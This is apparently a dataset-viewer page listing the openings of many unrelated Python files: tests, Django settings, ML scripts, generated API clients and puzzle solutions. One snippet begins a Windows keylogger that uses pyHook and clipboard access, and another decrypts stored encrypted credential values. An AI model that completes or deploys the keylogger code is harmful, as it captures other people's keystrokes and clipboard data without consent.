text stringlengths 1 927k |
|---|
from os import chdir
import pytest
from conan.tools.files import load_toolchain_args
from conan.tools.gnu import AutotoolsToolchain
from conans.errors import ConanException
from conans.model.conf import Conf
from conans.test.utils.mocks import ConanFileMock, MockSettings, MockOptions
from conans.test.utils.test_files... |
# coding: utf-8
"""
Kubernetes
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
OpenAPI spec version: v1.15.6
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import kube... |
from . import aircraft
from . import state
from . import results |
# coding=utf-8
# Copyright 2020 The Trax Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... |
import FWCore.ParameterSet.Config as cms
APVPhases = cms.EDProducer('APVCyclePhaseProducerFromL1TS',
defaultPartitionNames = cms.vstring("TI",
"TO",
"TP",
... |
from aspen import Response
from aspen.testing import assert_raises
from aspen.testing.fsfix import attach_teardown
def test_response_is_a_wsgi_callable():
response = Response(body="Greetings, program!")
def start_response(status, headers):
pass
expected = ["Greetings, program!"]
actual = respo... |
from .base_agent import BaseAgent
from cs285.models.ff_model import FFModel
from cs285.policies.MPC_policy import MPCPolicy
from cs285.infrastructure.replay_buffer import ReplayBuffer
from cs285.infrastructure.utils import *
class MBAgent(BaseAgent):
def __init__(self, sess, env, agent_params):
super(MBAg... |
"""
weasyprint.tests.test_pdf
-------------------------
Test PDF-related code, including metadata, bookmarks and hyperlinks.
:copyright: Copyright 2011-2019 Simon Sapin and contributors, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
import hashlib
import io
import os
import re
import... |
from __future__ import print_function
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.autograd import Variable
torch.backends.cudnn.bencmark = True
import os,sys,cv2,random,datetime
import argparse
import numpy as np
from dataset import ImageDataset
from matl... |
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
"""
Django settings for profiles_project project.
Generated by 'django-admin startproject' using Django 3.2.7.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
fro... |
import kivy
kivy.require('1.4.0')
import os
import threading
import time
import datetime
from android import AndroidService
from android.broadcast import BroadcastReceiver
from collections import deque
from jnius import autoclass
from kivy.utils import platform
from kivy.logger import Logger
from kivy.core.text import... |
"""
Michael duPont - michael@mdupont.com
tests/test_remarks.py
"""
# library
import unittest
# module
from avwx import _core, remarks, static, structs
class TestRemarks(unittest.TestCase):
def test_tdec(self):
"""
Tests that a 4-digit number gets decoded into a readable temperature
"""
... |
#!/usr/bin/env python
#
# Copyright 2017 OPNFV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
import logging
from baro_tests import collectd
... |
import gpustat
import numpy as np
from keras.callbacks import Callback
class GPUUtilizationSampler(Callback):
"""
Measure GPU utilization at the end of 1% of all batches.
(The more frequent the measuring, the slower and less accurate this callback becomes.)
If GPU is not present, report 0 utilization.... |
import csv
import pandas as pd
with open("1_3_connected.txt") as fin, open("1_3_connected.csv", 'w') as fout:
o=csv.writer(fout)
for line in fin:
o.writerow(line.split())
df = pd.read_csv('1_3_connected.csv')
df1 = df.T
df1.to_csv('1_3_connected_output.csv') |
import json
import logging
import socket
import ssl
import sys
import traceback
from datetime import datetime
from threading import Lock, Thread
from time import sleep
from typing import Optional
import websocket
from quantitativetrader.trader.utility import get_file_logger
class WebsocketClient:
"""
Websoc... |
"""
Internal machinery used to make building XBlock family base classes easier.
"""
from __future__ import absolute_import, division, print_function, unicode_literals
import functools
import inspect
import six
class LazyClassProperty:
"""
A descriptor that acts as a class-level @lazy.
That is, it beha... |
from kwmo.model.meta import metadata, Session
__metadata__ = metadata
__session__ = Session
from elixir import *
from sqlalchemy.databases.postgres import PGBigInteger
from kpg import escape_pg_string
# Workspace user, this is a weak entity.
class User(Entity):
# Options
using_options(shortnames=True)
# R... |
#!/usr/bin/python3
###############################################################################
#
# Copyright (c) 2015-2020, Intel Corporation
# Copyright (c) 2019-2020, University of Utah
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the Li... |
import sys
from time import time
from sqlalchemy import func
from sqlalchemy.dialects.mysql.mysqldb import MySQLDialect_mysqldb
from sqlalchemy.dialects.postgresql.psycopg2 import PGDialect_psycopg2
from .db import session_scope, _engine, Sighting, Mystery, FortSighting, Raid, Spawnpoint
from .shared import get_logger
... |
import json
from housepy import util, log, config, strings
from ingest import ingest_json_body, ingest_data
def parse(request):
log.info("sensornet.parse")
data = ingest_json_body(request)
try:
t_local = strings.as_numeric(data['t_local'])
data = data['data']
log.debug(json.... |
log_level = 'INFO'
load_from = None
resume_from = None
dist_params = dict(backend='nccl')
workflow = [('train', 1)]
checkpoint_config = dict(interval=10)
evaluation = dict(interval=10, metric='mAP', key_indicator='AP')
optimizer = dict(
type='Adam',
lr=5e-4,
)
optimizer_config = dict(grad_clip=None)
# learning... |
# AUTOGENERATED! DO NOT EDIT! File to edit: nbs/06_cli.ipynb (unless otherwise specified).
__all__ = ['bump_version', 'nbdev_bump_version', 'nbdev_install_git_hooks', 'extract_tgz', 'nbdev_new']
# Cell
from .imports import *
from .export import *
from .sync import *
from .merge import *
from .export2html import *
fro... |
import unittest
from rule_checker import RuleChecker
from game_objects import Card
from constants import jack, queen, king, ace, spades, hearts, diamonds, clubs, ranks, suits
class TestRuleCheckerMethods(unittest.TestCase):
def test_analyze_hand(self):
rc = RuleChecker()
hand_one = [Card(2, spades), Card(7, spade... |
# vim: expandtab:tabstop=4:shiftwidth=4
#
# Copyright 2015 Red Hat Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unl... |
from __future__ import with_statement
from sandbox import Sandbox, SandboxError, HAVE_CSANDBOX, HAVE_PYPY
from sandbox.test import (createSandbox, createSandboxConfig,
SkipTest, TestException, skipIf)
from sandbox.test.tools import read_first_line, READ_FILENAME
from sys import version_info
import os
def _get_file... |
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import ins... |
#
# @lc app=leetcode id=43 lang=python3
#
# [43] Multiply Strings
#
# @lc code=start
class Solution:
def multiply(self, num1: str, num2: str) -> str:
return str(int(num1) * int(num2))
# @lc code=end |
"""
Django settings for pari project.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# coding: utf-8
from os.path import abspath, dirname, join
from django.utils... |
import base64
from contextlib import contextmanager
import csv
import datetime
from enum import Enum
import json
import os
import os.path as osp
import pickle
import sys
import types
import dateutil.tz
import joblib
import numpy as np
from sawyer.garage.misc.autoargs import get_all_parameters
from sawyer.garage.misc.... |
#!/usr/bin/env python
# Licensed to Cloudera, Inc. under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. Cloudera, Inc. licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you ma... |
from microbit import *
compass.calibrate()
while True:
needle = ((15 - compass.heading()) // 30) % 12
display.show(Image.ALL_CLOCKS[needle]) |
from vedo import *
n = 256
i, grids, vnames1, vnames2 = 0, [], [], []
for name in colors.cmaps_names:
if '_r' in name:
continue # skip reversed maps
cols = colorMap(range(n), name)
# make a strip of n cells and assing them individual colors
gr = Grid(s=[50,1], res=[n,1]).cellIndividualColors(... |
#!/usr/bin/env python
import pandas as pd
import numpy as np
import multiprocessing
from optparse import OptionParser
import argparse
import operator
import os
import random
import sys
import time
import random
import subprocess
import pysam
import collections
import re
import math
from Bio import SeqIO
import joblib
... |
"""Kraken - objects.Attributes.StringAttribute module.
Classes:
StringAttribute - Base Attribute.
"""
from kraken.core.objects.attributes.attribute import Attribute
from kraken.core.kraken_system import ks
class StringAttribute(Attribute):
"""String Attribute. Implemented value type checking."""
def __ini... |
# Import Libraries
from gibson.envs.husky_env import HuskyNavigateEnv
import inspect
from pprint import pprint
import pybullet as p
import os
import math
import random
from time import sleep
from math import pi
# from transforms3d.euler import quat2euler
# Parse config and object arguments
config_file = os.path.join(o... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... |
"""
Ray Tracing
~~~~~~~~~~~
Single line segment ray tracing for PolyData objects.
"""
import vtki
# Create source to ray trace
sphere = vtki.Sphere(radius=0.85)
# Define line segment
start = [0, 0, 0]
stop = [0.25, 1, 0.5]
# Perfrom ray trace
points, ind = sphere.ray_trace(start, stop)
# Create geometry to repres... |
import argparse
def get_args():
"""Argument parser.
Returns:
Dictionary of arguments.
"""
parser = argparse.ArgumentParser(description='Arguments to train the model')
# GCS arguments
parser.add_argument(
'--bucket-name',
default=None,
help='The name of your bu... |
#!/usr/bin/env python
import time
print "Daemon runs for 3 seconds, then dies"
time.sleep(3)
print "Daemons dies" |
# -*- coding: utf-8 -*-
from fastapi.routing import APIRouter
router = APIRouter()
@router.get("/health-check")
async def health_check():
return {} |
import json
import discord
from discord.ext import commands, tasks
from utils import *
class HelpCmd(commands.HelpCommand):
async def send_bot_help(self, mapping):
ctx = self.context
bot = ctx.bot
commands = bot.commands
result = []
for cmd in commands:
sign ... |
# Copyright (c) spdx contributors
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, s... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from collections import namedtuple
from collections import deque
from collections import defaultdict
from collections import OrderedDict
from collections import Counter
def test_namedtuple():
Point = namedtuple('Point', ['x', 'y'])
p = Point(1, 2)
print('p:',... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('HMBBF', '0033_auto_20161205_1043'),
]
operations = [
migrations.RenameField(
model_name='theme',
old... |
# -*- coding: utf-8 -*-
"""
flask.app
~~~~~~~~~
This module implements the central WSGI application object.
:copyright: (c) 2015 by Armin Ronacher.
:license: BSD, see LICENSE for more details.
"""
import os
import sys
from threading import Lock
from datetime import timedelta
from itertools import ... |
# (C) Datadog, Inc. 2018-present
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
import logging
import threading
import time
from copy import copy
import pytest
from datadog_checks.sqlserver import SQLServer
from .common import CHECK_NAME
from .utils import HighCardinalityQueries, h... |
# %% LIBRARIES
import glob
import os
import random
from pathlib import Path
from typing import Union
import cv2
import pandas as pd
import tensorflow as tf
from matplotlib import pyplot as plt
from sklearn.model_selection import train_test_split
from sklearn.utils import class_weight
from tensorflow.python.data import... |
import os
import os.path as op
import ast
from werkzeug.utils import secure_filename
from werkzeug.datastructures import FileStorage
from wtforms import ValidationError, fields
from wtforms.widgets import html_params, HTMLString
try:
from wtforms.fields.core import _unset_value as unset_value
except ImportError... |
# Autogenerated, do not edit. All changes will be undone.
from typing import List
from uuid import UUID
from pyhap.characteristic import (
Characteristic,
CharacteristicPermission,
)
class Name(Characteristic):
@property
def characteristic_uuid(self) -> UUID:
return UUID('00000023-0000-1000-... |
# Copyright (c) 2010-2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... |
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from compas.datastructures import VolMesh
from compas.geometry import centroid_points
from compas.geometry import normalize_vector
__all__ = ['VolMesh3gs']
class VolMesh3gs(VolMesh):
"""Inherits and ext... |
# coding=utf-8
"""
windows下键盘记录器
前置依赖
sudo pip install pyHook(Just in Windows)
"""
from ctypes import *
import pyHook
import pythoncom
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取到到前台窗口的句柄
hwnd = user32.Ge... |
import os
from collections import OrderedDict
import torch
from options.test_options import TestOptions
from semia.model import SemIAModel
from semia.dataset import TestImgDataset
from util.visualizer import Visualizer
from util.util import read_image, pil2tensor, pil2np, np2tensor
if __name__ == "__main__":
Tes... |
# -*- coding: utf-8 -*-
# pylint: disable=line-too-long
"""ToS ECN Field"""
from aenum import IntEnum, extend_enum
__all__ = ['ToSECN']
class ToSECN(IntEnum):
"""[ToSECN] ToS ECN Field"""
Not_ECT = 0b00
ECT_0b01 = 0b01
ECT_0b10 = 0b10
CE = 0b11
@staticmethod
def get(key, default=-1)... |
import sys
import os
sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))
from ccgnet import experiment as exp
from ccgnet import layers
import tensorflow as tf
import numpy as np
import time
from sklearn.metrics import balanced_accuracy_score
from ccgnet.Dataset import Dataset, DataLoader
d... |
"""External dependencies for the bracket library."""
load("@bazel_tools//tools/build_defs/repo:git.bzl", "git_repository")
load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
def bracket_repositories(
omit_bazel_skylib=False,
omit_boringssl=False,
omit_civetweb=False,
omit_com_github_... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
from ccdc import tile
from pyspark.sql import Row
import datetime
import json
import test
rows = [Row(tx=0,
ty=1,
name='test model',
model='model coefficients',
updated='0001-01-01')]
def test_table():
assert 'tile' == tile.table()
def test_schema():
s = til... |
"""Test evaluation base."""
# pylint: disable=import-error,protected-access
from unittest.mock import MagicMock, patch
from docker.errors import DockerException
from supervisor.const import CoreState
from supervisor.coresys import CoreSys
from supervisor.resolution.evaluations.container import EvaluateContainer
def... |
# -*- coding:utf-8 -*-
__author__ = 'yangjian'
"""
"""
import math
import os
import sys
import uuid
def generate_id():
return str(uuid.uuid1())
def combinations(n, m_max, m_min=1):
if m_max > n or m_max <= 0:
m_max = n
if m_min < 1:
m_min = 1
if m_min == 1 and m_max == n:
r... |
#!/usr/bin/env python3
import argparse
import setproctitle
import scipy.io as sio
import numpy as np
import torch
import importlib
try: import setGPU
except ImportError: pass
import os
import model_classes, nets, calc_stats
from constants import *
from torch.utils.data import DataLoader, TensorDataset
import pa... |
#!/usr/bin/env python
# -*- mode: python; encoding: utf-8 -*-
"""Tests for the Find flow."""
from grr.client.client_actions import searching
from grr.lib import flags
from grr.lib import type_info
from grr.lib import utils
from grr.lib.rdfvalues import client as rdf_client
from grr.lib.rdfvalues import paths as rdf_pat... |
#
# PySNMP MIB module Nortel-MsCarrier-MscPassport-DataCollectionMIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Nortel-MsCarrier-MscPassport-DataCollectionMIB
# Produced by pysmi-0.3.4 at Mon Apr 29 20:20:12 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 ... |
from collections import Counter
def solution(nums):
cnt = Counter(nums)
ans = 0
cur = -1
for k in sorted(cnt.keys()):
cur = max(cur, k)
while cnt[k]:
ans += cur
cur += 1
cnt[k] -= 1
return ans
nums = [3, 2, 1, 2, 7]
print(solution(nums)) |
# Copyright 1997 - 2018 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish,... |
# automatically generated by the FlatBuffers compiler, do not modify
# namespace: tflite_fb
import flatbuffers
from flatbuffers.compat import import_numpy
np = import_numpy()
class LogicalOrOptions(object):
__slots__ = ['_tab']
@classmethod
def GetRootAsLogicalOrOptions(cls, buf, offset):
n = fl... |
"""authmechanics URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class... |
"""
Copyright (c) 2015 Red Hat, Inc
All rights reserved.
This software may be modified and distributed under the terms
of the BSD license. See the LICENSE file for details.
Naming Conventions
==================
registry.somewhere/namespace/image_name:tag
|-----------------| registry, reg_ur... |
from typing import Tuple
import torch
import kornia
@torch.jit.ignore
def validate_bbox(boxes: torch.Tensor) -> bool:
"""Validate if a 2D bounding box usable or not. This function checks if the boxes are rectangular or not.
Args:
boxes: a tensor containing the coordinates of the bounding boxes to b... |
import _plotly_utils.basevalidators
class AlignsrcValidator(_plotly_utils.basevalidators.SrcValidator):
def __init__(
self, plotly_name="alignsrc", parent_name="splom.hoverlabel", **kwargs
):
super(AlignsrcValidator, self).__init__(
plotly_name=plotly_name,
parent_name=... |
data["procent"] = {
"active": (data["active"] / (data["cases"] // 100) / 5),
"recovered": (data["recovered"] / (data["cases"] // 100) / 5),
"deaths": (data["deaths"] / (data["cases"] // 100) / 5),
}
def getFalseSymbol (i, symbol):
string = ""
i = int(str(round(i, 0)).replace(".0", ""))
d = 0
... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
import math
from itertools import cycle
import pytest
def read_map(lines):
data = set()
for j, line in enumerate(lines):
for i, ch in enumerate(line.strip()):
p = (i, j)
if ch == '#':
data.add(p)
return data
def vectoring(a, b):
x1, y1 = a
x2, y2 =... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... |
# Copyright 2011-present MongoDB, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... |
# SOUNDS.PY
#
# A data-oriented module created to avoid cluttering (and entangling) other,
# more important modules with sound data.
#
# Tags
# To easily fetch related sounds by their properties. This seems generally
# better than the alternative of defining long lists by hand. You still can, of
# course. Categorizing ... |
# ref: https://pylessons.com/OpenCV-image-stiching-continue/
import cv2
import numpy as np
img_ = cv2.imread('1a.jpg')
# img_ = cv2.resize(img_, (0,0), fx=1, fy=1)
img1 = cv2.cvtColor(img_, cv2.COLOR_BGR2GRAY)
img = cv2.imread('1b.jpg')
# img = cv2.resize(img, (0,0), fx=1, fy=1)
img2 = cv2.cvtColor(img, cv2.COLOR_BG... |
from pyramda.function import curry
from pyramda.iterable import map
@curry
def map_dict(f, dict):
f_dict = {}
for k, v in dict.items():
f_dict[k] = f(v)
return f_dict |
#!/usr/bin/python
# Copyright (c) 2020, 2021 Oracle and/or its affiliates.
# This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# Apache License v2.0
# See LICENSE.TXT for d... |
# model settings
model = dict(
type='HybridTaskCascade',
num_stages=3,
pretrained='open-mmlab://resnext101_64x4d',
interleaved=True,
mask_info_flow=True,
backbone=dict(
type='ResNeXt',
depth=101,
groups=64,
base_width=4,
num_stages=4,
out_indices=(... |
import argparse
import os
from pathlib import Path
import librosa
import numpy as np
import tqdm
import ruamel.yaml
from preprocessing.text_processing import Phonemizer, TextCleaner
from utils.audio import melspectrogram
parser = argparse.ArgumentParser()
parser.add_argument('--config', dest='CONFIG', type=str, requ... |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import os
import sys
import tempfile
import cProfile
# initial error handling begins
# missing cprofilev
try:
import cprofilev
except ImportError as exc:
sys.stderr.write(('error: python package "cprofilev" not found\n'))
sys.exit(1)
# no script given
if l... |
# Spiral Matrix
class Solution(object):
def spiralOrder(self, matrix):
if not any(matrix):
return []
# mark the boundary lines
top, bottom = 0, len(matrix) - 1
left, right = 0, len(matrix[0]) - 1
result = []
while True:
for j in range(left, r... |
"""pytypos module"""
from typing import List
import enchant
from .__info__ import (__author__, __author_email__, __bugtrack_url__,
__description__, __license__, __maintainer__, __title__,
__url__, __version__)
from ._pytypos import Pytypos
def available_languages() -> ... |
# coding: utf-8
"""
DocuSign REST API
The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign.
OpenAPI spec version: v2.1
Contact: devcenter@docusign.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from p... |
# -*- coding: utf-8 -*-
"""
Created on Thu Sep 8 12:40:35 2016
@author: rookie
"""
import pandas as pd
import matplotlib as mpl
mpl.style.use('ggplot')
student_dataset = pd.read_csv("students.data",index_col=0)
student_dataset.plot.scatter(x='G1', y='G3') |
SCHEMA = {
"type": "object",
"properties": {
"name": {"type" : "string"},
"amount": {"type" : "number"},
"currency_code": {"type" : "string"},
"interval": {"type" : "string"},
"interval_count": {"type" : "number"},
"trial_days": ... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2012 Nebula, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... |
from src import ModelOptions, main
options = ModelOptions().parse()
options.mode = 1
main(options) |
from django.conf import settings
from django.urls import include, path
from django.conf.urls.static import static
from django.contrib import admin
from django.views.generic import TemplateView
from django.views import defaults as default_views
urlpatterns = [
path("", TemplateView.as_view(template_name="pages/home... |
"""
Provide statistics about our code files such as:
- functions per file
- classes per file
- lines per file
- blank lines per file
- enums
"""
import os
import glob
import re
path = "src"
verbose=0
class StatCounter:
def __init__(self, filename):
self.filename=filename
self.classes =0
s... |
# -*- coding: utf-8 -*-
from datetime import date, datetime
from django.core.management.base import BaseCommand
from django.conf import settings
from schedulemaster.models import ProgramSchedule
from config.models import get_configurations
from utils.datedeux import DateDeux
import sendgrid
from .notify_utils impor... |
# Copyright 2015 gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
#!/usr/bin/python3
'''
Convert PBEWithMD5AndDES to AES/ECB/PKCS5Padding (Oracle JDK 6 and 7 use AES/ECB/PKCS5Padding when only AES is specified)
Gimme a base 64 encoded value you want to <decode>, a <password> for the decryption an a base64 encoded <key> for encryption
For ISIM the encryption/decryption password is e... |
# DRUNKWATER TEMPLATE(add description and prototypes)
# Question Title and Description on leetcode.com
# Function Declaration and Function Prototypes on leetcode.com
#739. Daily Temperatures
#Given a list of daily temperatures, produce a list that, for each day in the input, tells you how many days you would have to wa... |
import numpy as np
import json
def softmax(x):
x = x - np.max(x, axis=-1, keepdims=True)
expx = np.exp(x)
return expx/np.sum(expx, axis=-1, keepdims=True)
def sigmoid(x):
return 1.0/(1.0 + np.exp(-x))
def tanh(x):
return sigmoid(2*x)*2-1
def relu(x):
return (x+np.abs(x))/2
activ... |
def set_template(args):
# Set the templates here
if args.template.find('AIN') >=0:
args.model = 'AIN'
if args.template.find('AIN2') >= 0:
args.model = 'AIN2' |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.